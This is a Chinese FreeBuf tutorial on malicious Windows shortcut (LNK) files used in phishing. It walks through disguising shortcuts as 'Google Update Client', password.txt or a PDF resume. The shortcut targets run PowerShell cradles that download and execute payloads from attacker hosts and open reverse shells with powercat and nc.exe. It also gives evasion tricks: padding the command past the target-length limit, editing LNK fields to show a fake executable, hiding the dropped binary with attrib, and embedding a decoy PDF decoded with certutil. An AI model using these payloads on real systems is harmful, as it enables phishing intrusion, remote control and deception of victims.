freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

LNK攻击测试浅析(一)
heyseafh 2024-04-24 13:05:27 257764

LNK文件简介

.LNK文件是一种Windows文件类型,通常称为快捷方式,在计算机上看到并使用过它们,以便我们轻松地直接从桌面启动。

LNK 文件的例子:双击如下图所示的google chrome图标来打开google chrome浏览器。

1712235281_660ea3114b7e3c3b9ed4d.png!small?1712235282814

LNK文件加载程序

那么接下来考虑的是如何利用快捷方式加载恶意程序文件,这里还是以google chrome为例,查看快捷方式的属性,目标:"C:\Program Files\Google\Chrome\Application\chrome.exe

1712235672_660ea498cd91ae5042d33.png!small?1712235674424

目标指向一个可执行文件,用户在双击快捷方式后,则执行目标指向的exe文件,其本质还是执行指向的文件或命令。

LNK攻击

LNK攻击通常涉及使用一些 LOLBINS( Living Off The Land Binaries 离地攻击二进制文件,和无文件落地很像)来下载和执行下载一个恶意软件。也可以是执行cmd和powershell等命令或执行 mshta.exe 和 regsrv32.exe等文件(包括但不限于:owershell.exe、bitsadmin.exe、certutil.exe、psexec.exe、wmic.exe、mshta.exe、mofcomp.exe、cmstp.exe、windbg.exe、cdb.exe、msbuild.exe、csc.exe)。

LNK攻击实例

新建一个快捷方式

1712235705_660ea4b91d3f1bf117e32.png!small?1712235708521

对象位置输入cmd(powershell或calc都行,等会目标得换)

1712235742_660ea4dea7bb2cc553fe7.png!small?1712235744184

下一步

1712235757_660ea4ed2479a87a2abb3.png!small?1712235758920

点击“完成”,这时候桌面上多了一个cmd的快捷方式

1712235342_660ea34ead0d107cfe9e1.png!small?1712235344263

右击这个快捷方式,属性->常规

1712235778_660ea5028c39cf7ebe01d.png!small?1712235780645

将名称改成一个比较容易迷惑人的名称,这里改成“Google Update Client”

快捷方式选项卡,更改图标

1712235803_660ea51bdcde1779aae52.png!small?1712235805580

在搜索框中输入:%SystemRoot%\System32\SHELL32.dll,(还有一个图标更换路径:%SystemRoot%\\System32\\imageres.dll)回车,即可选择图标

1712235821_660ea52dc93261431d678.png!small?1712235823866

选择符合名称的图标,点击确认即可

1712235841_660ea541338ce8ad6d397.png!small?1712235842909

1712235850_660ea54a2ea8c38a89fd8.png!small?1712235851995

攻击机(实战中一般为公网vps)起一个web服务,这里用python

python -m http.server --bind=192.168.0.101 8888

1712235868_660ea55c93ec8c7a6a762.png!small?1712235870070

然后在web的根目录下,新建一个ps1文件

这里命名为main.ps1:

(new-object System.Net.WebClient).DownloadFile('http://192.168.0.101:8888/mytest.exe','C:\Users\Public\Downloads\mytest.exe')

cmd /c C:\Users\Public\Downloads\mytest.exe

1712235906_660ea5820e224e8f79899.png!small?1712235907487

(paylaod功能:第一个命令从192.168.0.101:8888下载mytest.exe到C:\Users\Public\Downloads\文件夹下,第二个命令是执行C:\Users\Public\Downloads\文件夹下的mytest.exe)

然后在新建的Google Update Client快捷方式的目标中输入:

powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101:8888/main.ps1');main.ps1"(这里解释下上面的payload的功能,下载从192.168.0.101:8888下载main.ps1,然后执行main.ps1文件)

1712235932_660ea59cf0f008b76cba7.png!small

这时候双击快捷方式,就从web服务上下载mytest.exe到C:\Users\Public\Downloads文件夹下,然后执行mytest.exe

mytest.exe下载到执行文件夹下

1712235971_660ea5c34487ecc932930.png!small?1712235973168

已经上线了

1712235984_660ea5d01a535dba701c7.png!small?1712235985639

Tips:这里需要注意lnk文件的目标不能直接访问(下载)exe文件并执行它

将目标改成:

powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101:8888/mytest.exe');mytest.exe"

1712235996_660ea5dcc2d6c5b0350ac.png!small?1712235998498

双击lnk文件后,确实访问了web的mytest.exe文件

1712236008_660ea5e86c408bfad9883.png!small?1712236009998

但是cs没有收到shell

1712236018_660ea5f21852e7080c70a.png!small?1712236019655

那么确实只能通过访问能在目标执行的ps1或bat等脚本来间接下载木马然后执行它。

TIPS:

既然提到了执行命令的路径,这里需要提醒一下,其实使用命令的相对路径会好一些,攻击者所使用的命令路径不一定跟被攻击者的路径一致,而写入lnk文件会自动变成攻击者命令所在的绝对路径,如:cmd.exe会被填充成:C:\Windows\System32\cmd.exe,那么不如直接设置成相对路径

“%SystemRoot%\system32\cmd.exe(或%windir%/System32/cmd.exe)”

还有%ComSpec%(环境变量)可是可以代替C:\Windows\System32\cmd.exe

1712236034_660ea6027f82af2048456.png!small?1712236036057


使用powercat脚本反弹shell

或者截住一些ps脚本通过powershell的执行反弹shell

这里用的是

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

因为这个url需要挂梯子,所以将powercat.ps1下载到本地

攻击机在powercat.ps1所在文件夹起一个简单的web服务

python -m http.server --bind=192.168.0.104 8888

1712236047_660ea60f9d37d957f7f6d.png!small?1712236049225

lnk的目标设置为:

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.104:8888/powercat.ps1');powercat -c 192.168.0.104 -p 6666 -e cmd

1712236056_660ea618ee9896fe87bec.png!small?1712236059091


点击“确认”后,双击“Google Update Client”快捷方式(被攻击方会弹窗),收到shell

1712236071_660ea627ad1bec83ff2df.png!small?1712236073288


其他相似的利用方式也有很多,请参考“反弹shell方式总结windows篇.docx”

加密文档结合lnk钓鱼

先生成一个快捷方式,如:cmd(后面目标会改)

1712236085_660ea635e9155f296b2cb.png!small?1712236087391

生成后,先更改图标

1712236103_660ea64717f331c5904ea.png!small?1712236106595

选择“文本文档”图标

1712236113_660ea651ef96aa76ecd38.png!small?1712236115507

点击确认后,快捷方式的图标变成文本文档了,然后将快捷方式命名为“password.txt”

1712236131_660ea663a33ca981980b3.png!small?1712236136180

新建文档“李云龙-简历-渗透测试工程师.docx”,设置密码:Test@1369

1712236170_660ea68a7a9b64779ee48.png!small?1712236172098

再打开“李云龙-简历-渗透测试工程师.docx”就需要密码了

1712236179_660ea69309240799d2eda.png!small?1712236180960

现在回到快捷方式,修改目标为:cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt) & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.1.105:8088/nc.exe & .\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)

(Tips:这里说明下上面的命令,执行快捷方式文件后,会将“Test@1369”写入新生成的password.txt文件中,然后打开password.txt文件,接下来会从192.168.1.105:8088上下载nc.exe,并执行反弹shell操作)

1712236193_660ea6a19df938c4c4ca4.png!small?1712236196143

攻击端在nc所在目录下用python起一个web服务

python -m http.server --bind=192.168.1.105 8088

1712236209_660ea6b14bee0b53a00fc.png!small?1712236210837

攻击端监听8888端口

1712236222_660ea6bebfe05aec67b80.png!small?1712236224240

这里将lnk文件和简历word文件放在一个文件夹内,命名为:李云龙-简历-渗透测试工程师

1712236249_660ea6d90b8b5703d25be.png!small?1712236250475

添加到压缩包(还可以利用自解压运行,这里暂且不表

1712236257_660ea6e12cb3b7dd35cc9.png!small?1712236263103


模拟钓鱼

将此压缩包丢虚拟机,被攻击者打开简历word文档,发现加密了

1712236267_660ea6eb84d762974514d.png!small?1712236269050

这时候被攻击者就会打开名为password.txt的lnk文件,去查看密码,txt

文档被打开,显示密码

1712236276_660ea6f4955c521e02939.png!small?1712236278071

同一时间,从攻击端下载nc

1712236285_660ea6fd31cc5d8e948e6.png!small?1712236286631

下载后执行nc反弹shell命令,攻击端收到反弹shell

1712236296_660ea70816405943cd8ca.png!small?1712236298129

优化钓鱼一

这里为了更符合实战钓鱼将lnk文件目标处输入的命令进行修改

将下载的nc.exe文件放到D盘某个目录下,这里因为虚拟机只有C盘则放到C盘,C:\Users文件夹下(这里仅为举例,通过测试,好像这个文件夹下如果不是管理员账户是没有修改权限,也就是写入不了文件的),打开password.txt文本文件后,删除password.txt.lnk文件

cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)

但是这样就超出“目标”的长度限制了,长度限制为260(小于)

上述payload放入lnk文件 的目标后,自动截断成如下:

C:\WINDOWS\system32\cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\sys

长度为259,且相关的系统命令会自动填充绝对路径,如:cmd.exe会填充为C:\WINDOWS\system32\cmd.exe;

powershell.exe会填充为C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

1712236367_660ea74f1b55de2c940e7.png!small?1712236368544

突破lnk目标长度限制方法

先将要执行的命令放入test.txt文件中

/c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)

利用powershell来突破,代码如下:

$file = Get-Content ".\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\password.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,70"
$Shortcut.Arguments = '                                                                                                                                                                                                                                                                                                                                                                                 '+ $file
$Shortcut.Save()

第一行就是读取test.txt中的内容

第三行是创建一个名为password.txt的lnk文件

第四行设置lnk文件的目标为%SystemRoot%\system32\cmd.exe(设置成%windir%/System32/cmd.exe也可)

第5行设置lnk文件的图标为文本文档的图标(最后的70表示文本文档图标,修改数字则设置相应图标)

第六行是添加值到lnk文件的目标(这里就是突破目标长度的限制的关键代码)

第七行就是保存(执行保存操作才会新建上述功能的lnk文件)

1712236406_660ea776dbddbd688942e.png!small?1712236408953

生成了password.txt.lnk文件

1712236445_660ea79de8fdecd0b4e4e.png!small?1712236450697

查看lnk文件的属性,发现填充的空白,写入的命令在空白文件之后,这样也可以迷惑被攻击者

1712236458_660ea7aaa3dde5377b275.png!small?1712236460223

将“目标”框内的光标拉到输入框的最左边,才能看到cmd.exe

1712236472_660ea7b8691312c2c5352.png!small?1712236474048

现在起web服务

python -m http.server --bind=192.168.0.102 8088

1712236481_660ea7c1da3a9030c9333.png!small?1712236483424

监听端口

1712236491_660ea7cb052b6f42ff5f3.png!small?1712236492605

模拟被攻击者解压简历压缩文件后打开password.txt.lnk

password.txt文件被新建且被打开,同时lnk文件被删除

1712236504_660ea7d8ad85da5f26a61.png!small?1712236506340

Web服务收到请求

1712236530_660ea7f24ea46a4a22360.png!small?1712236531906

收到shell

1712236539_660ea7fb66548f8b68098.png!small?1712236541231

优化钓鱼二

使用010edit打开lnk文件sExtraData字段的EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode可以看到调用的是cmd.exe

1712236566_660ea8163b5892dbf6bc5.png!small?1712236567943

这里将EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode中的cmd.exe换成其它不存在的exe文件名,这样可以很好的迷惑被攻击者(还有一个思路可以换成危害不大的exe文件名,如:adobe.exe

这里换成waiting.exe

1712236581_660ea8250204cabebdac3.png!small?1712236582643

保存后,发现lnk文件的目标已经被修改

1712236592_660ea83016ba464ff60bc.png!small?1712236593844

双击lnk文件如果运行出错,那么修改sLinkTargetIDList字段的sIDList的值为cmd.exe(在不同场景中修改成相应的能运行的文件)

1712236607_660ea83f6eddab452a27d.png!small?1712236609528

Tips:

这里需要注意,在做完lnk文件的伪装操作后,一定要在其他电脑上进行测试,双击lnk文件是否会出错,在测试时发现,在攻击端(生成lnk文件的电脑上)修改目标的执行文件名为不存在的文件名时(系统目录不存在),会正常执行,在被钓鱼端执行依然会报错显示文件不存在

1712236619_660ea84b9542cb98a5ff2.png!small?1712236621487

怎么解决这个问题呢,经过测试,在被钓鱼端运行一次报文件不存在后,在被钓鱼端用010edit修改lnk文件的sLinkTargetIDList字段的sIDList的值的ExtraDataBlock的值设置成cmd.exe就可以正常执行了

1712236653_660ea86d567c4bb0d6579.png!small?1712236655548

保存修改后,将此文件丢到另一个被钓鱼端运行,发现没有报错了,且目标的执行文件名改成了waiting.exe,且新建password.txt和打开它

1712236666_660ea87ac54b6c68b6f5a.png!small?1712236668712

收到反弹shell

1712236675_660ea883e3ad6c350b3de.png!small?1712236677929

所以真实钓鱼中,一定要在另一台电脑上(虚拟机也可以)运行自己做lnk文件,报错,就在另一台电脑上按上述进行修改

优化钓鱼三

在目录下选择查看隐藏文件仍无法查看(在cmd下使用dir命令依然查看不了文件和文件夹,但是使用everything这类文件搜索工具依然可以搜索到隐藏文件和文件夹)

命令行输入:attrib +s +h +r 要隐藏的文件

attrib +s +h +r(不指定文件,则隐藏当前文件夹下所有文件)

未执行命令前

1712236896_660ea960e25dd37ca8f61.png!small?1712236899260

执行命令后,sigthief.py在文件夹下打开“隐藏的项目”看不到,在命令行也看不到(文件个数在命令行下都减少了一个)

1712236920_660ea9782f3121a804958.png!small?1712236921778

但是sigthief.py依然可以正常使用

1712236941_660ea98dd1cfe3c6c7c78.png!small?1712236943774

输入:attrib -s -h -r sigthief.py,即可解除隐藏

1712236957_660ea99d8d555847166bf.png!small?1712236959569

attrib -s -h –r(不指定文件,则解除当前文件夹内所有隐藏)

在实际钓鱼中,有些文件夹确实需要权限,或者指定的目录不存在(相对路径如果../这种形式超出当前盘符的话就会保存失败),当前文件夹是比较靠谱的(相对路径),但是很容易发现,这时候就可以将其隐藏

思路就是将下载后的exe文件进行隐藏

优化后的payload如下:

cmd /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.0.102:8088/nc.exe & attrib +s +h +r nc.exe & .\nc.exe 192.168.0.102 8888 -e c:\windows\system32\cmd.exe)

使用powershell脚本突破lnk文件长度,生成了password.txt的lnk文件

然后按照优化二将lnk文件利用010edit进行修改

现在模拟,钓鱼,解压简历压缩包后,被攻击者加入查看lnk文件的目标,看到是waiting.exe,根本不知道这是什么文件

1712237010_660ea9d21a96c1e2b80d3.png!small?1712237011690

然后双击lnk文件,nc文件隐藏了,且通过命令行也查看不到

1712237027_660ea9e3e83302d4a7e25.png!small?1712237030174

收到反弹shell

1712237057_660eaa0141d728d747f91.png!small?1712237059269

取消隐藏nc文件attrib -s -h –r

1712237067_660eaa0b45aebb4b9239d.png!small?1712237069674

优化钓鱼四

假设将lnk文件伪造成pdf或文档类型(doc、xlsx、ppt等),来钓鱼,那么如果文件夹查看方式为“详细信息”,可能就会看到lnk文件过小

1712237078_660eaa1637ea6b38a11ed.png!small?1712237079889

将lnk文件的图标改成pdf样式,使用010edit打开,修改ICON_LOCATION的值为.\1.pdf,修改为相关后缀,系统即可动关联到对应的打开方式

1712237099_660eaa2b5ae7f145b97be.png!small?1712237101017

那么就将真正的相应伪造的文件跟lnk文件进行捆绑,双击lnk文件就会真正打开相应的文件,且lnk文件的大小也会变大(lnk文件跟捆绑的文件的大小之和)

copy /b 产品经理简历.pdf.lnk + 产品经理简历.pdf 产品经理简历.pdf.lnk

1712237142_660eaa5660c87d60281f3.png!small?1712237144268

可以看到lnk文件的大小已经变大

1712237231_660eaaaf6b92731b625bc.png!small?1712237233376

双击lnk文件,打开计算器

但是上面的直接复制并不能打开真正的pdf文件,做如下几步即可

第一步

先用powershell代码生成lnk文件

$file = Get-Content ".\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\password.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,70"
$Shortcut.Arguments = '                                                                                                                                                                                                                                                                                                                                                                                 '+ $file
$Shortcut.Save()

1712237366_660eab366db348781b1a2.png!small?1712237367978

其目标值为:

/c findstr "JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUG" 产品经理简历.pdf.lnk>%TEMP%\test & certutil -decode %TEMP%\test %TEMP%\产品经理简历.pdf & start %TEMP%\产品经理简历.pdf & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.0.106:8088/nc.exe & attrib +s +h +r nc.exe & .\nc.exe 192.168.0.106 8888 -e c:\windows\system32\cmd.exe & exit)

1712237378_660eab4236239632bd461.png!small?1712237379763

Tips:

这里需要注意,要将test3.txt的编码格式设置为“ANSI编码”,不然将payload写入lnk目标后,中文字符会变成乱码,从而使真正的pdf文件不能解码打开

1712237389_660eab4d5d25c7a7298e8.png!small?1712237390991

第二步

修改ICON_LOCATION的值为“.\ 1.pdf”

1712237401_660eab59d779ec5a627ed.png!small?1712237406177

第三步

将要伪造的文件,如pdf的内容进行base64加密,然后使用copy命令进行捆绑

1、将pdf的内容进行base64加密

1712237542_660eabe676789772df15b.png!small?1712237545209

import os,base64

file = open("产品经理简历.pdf","rb")
text = file.read()
file.close()
data = base64.b64encode(text)
print(str(data).split("b'")[1].split("'")[0])
f = open("test","w")
f.write("\n"+str(data).split("b'")[1].split("'")[0])
f.close()

这里将pdf的内容base64编码后记得加个换行后保存到test文件中,不加换行保存到test文件跟lnk文件绑定后,使用findstr找到的base64编码后pdf内容前会有其它值

1712237587_660eac13712cbe96fccd7.png!small?1712237589088

因此在base64值前加个换行就可以解决这个问题

1712237598_660eac1e1d750d131d81d.png!small?1712237600157

2、将上图中的base64保存在test文件中,然后将lnk文件和test进行捆绑

copy /b 产品经理简历.pdf.lnk + test 产品经理简历.pdf.lnk

1712237614_660eac2e48a1cb88eb9a0.png!small?1712237615997

现在模拟被钓鱼者打开产品经理简历lnk文件, 会自动打开pdf简历

1712237646_660eac4e5fe46f55b996b.png!small?1712237648402

收到反弹shell

1712237655_660eac5766fd7419269aa.png!small?1712237657042


# 网络钓鱼 # 钓鱼攻击 # 钓鱼技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 heyseafh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
heyseafh LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 1 关注者
文章目录